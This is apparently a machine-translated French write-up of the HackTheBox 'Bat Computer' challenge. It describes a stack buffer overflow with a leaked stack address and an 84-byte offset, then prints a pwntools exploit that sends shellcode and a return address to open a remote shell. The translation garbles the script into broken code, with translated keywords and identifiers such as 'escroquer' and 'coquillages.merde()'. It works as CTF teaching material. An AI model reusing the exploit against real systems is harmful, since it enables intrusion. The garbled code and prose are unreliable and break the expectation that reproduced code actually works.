Nous avons couvert un binaire pour lequel seul PIE ou Position Independent Executable est activé comme protection alors que NX était désactivé. Nous avons analysé le binaire avec Ghidra et GDB. Nous avons découvert que le binaire divulgue l'adresse mémoire de la variable utilisée pour stocker l'entrée utilisateur. Sur cette base, nous avons également constaté que le binaire lit jusqu'à 137 octets d'entrée utilisateur et les stocke dans une variable dont la taille du tampon est de 76 octets, ce qui constitue la principale vulnérabilité de cette application. Nous avons provoqué une erreur de segmentation sur cette base et avons trouvé que le décalage était de 84 octets. Sur la base de l'analyse ci-dessus, nous avons construit le script d'exploitation portant le paramètre de connexion et la charge utile finale. Cela faisait partie de Ordinateur de chauve-souris HackTheBox | Introduction à l'exploitation binaire

Notes sur les techniques de débordement de tampon

Le code d'exploitation est ci-dessous

##Bebut

depuis pwn importer *

contexte.binaire = ELFE('./ordinateur chauve-souris')

escroquer = télécommande(‘157.245.39.76’,31662)

escroquer.ligne d'envoi(‘1’)

escroquer.jusqu'à ce que('0x')

pile_base = int(("0x"+escroquer.recv().décoder('latin-1').diviser()[0]),16)

enregistrer.succès(F'base de pile : {hexadécimal(pile_base)})

escroquer.ligne d'envoi(‘2’)

escroquer.ligne d'envoi('b4tp@$$w0rd!')

charge utile = asme(coquillages.papa() + coquillages.merde()) Shellcode #

charge utile += b'UN'*(84 len(charge utile)) # non

charge utile += p64(pile_base) Base de pile #

escroquer.ligne d'envoi(charge utile)

escroquer.ligne d'envoi(‘3’)

escroquer.interactif()

##Fin

Vidéo pas à pas

A propos de l'Auteur

Je crée des notes de cybersécurité, des notes de marketing numérique et des cours en ligne. Je fournis également des conseils en marketing numérique, y compris, mais sans s'y limiter, le référencement, les publicités Google et Meta et l'administration CRM.

Voir les Articles